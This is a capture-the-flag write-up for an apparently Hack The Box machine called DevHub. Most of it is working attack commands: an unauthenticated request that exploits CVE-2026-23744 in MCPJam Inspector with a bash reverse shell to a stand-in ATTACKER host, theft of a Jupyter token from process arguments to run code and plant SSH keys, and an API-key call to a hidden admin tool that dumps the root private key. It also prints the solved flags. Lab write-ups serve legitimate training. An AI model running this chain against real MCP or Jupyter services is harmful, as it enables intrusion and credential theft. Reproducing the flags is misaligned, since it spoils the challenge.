DevHub (HTB Medium Linux)
Author: 0xIDA
Solvers
Summary
MCPJam Inspector on :6274 allows unauth RCE via CVE-2026-23744 (POST /api/mcp/connect with serverConfig.command). Shell as mcp-dev. Local JupyterLab token is in process cmdline → kernel WebSocket code exec as analyst (user flag). OPSMCP on 127.0.0.1:5000 with API key from ~/.opsmcp_key exposes hidden ops._admin_dump → dumps root SSH private key.
Flags (live-verified)
User: 0ea86eceb7f2e3ae0510a2b2ee198e14
Root: f460bd014a02f849a181580a0855bbcb
MCP submit: user + root success.
Solution
1) Recon
22/tcp OpenSSH
80/tcp nginx — DevHub landing (MCP Inspector :6274, Jupyter localhost:8888)
6274/tcp MCPJam Inspector
2) User foothold (mcp-dev)
curl -X POST http://TARGET:6274/api/mcp/connect \
-H 'Content-Type: application/json' \
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/ATTACKER/4448 0>&1"],"env":{}},"serverId":"x"}'
3) Lateral to analyst
ps aux | grep jupyter
# --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
POST /api/kernels, WebSocket execute:
print(open('/home/analyst/user.txt').read())
# plant authorized_keys
User: 0ea86eceb7f2e3ae0510a2b2ee198e14
4) Root via OPSMCP
# as analyst
cat ~/.opsmcp_key # opsmcp_secret_key_4f5a6b7c8d9e0f1a
curl -s -X POST http://127.0.0.1:5000/tools/call \
-H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' \
-H 'Content-Type: application/json' \
-d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'
# write root_private_key → ssh root@127.0.0.1
Root: f460bd014a02f849a181580a0855bbcb
Tools
nmap, curl, reverse shell, pure-Python WebSocket (Jupyter kernel channels), SSH.
Pitfalls
- Jupyter token only visible in process argv (no network to pip on box).
- OPSMCP
/tools/listhides_admin_dump— readserver.pyor call_debug_mode. - Port 5000 / 8888 are localhost-only — pivot from mcp-dev/analyst.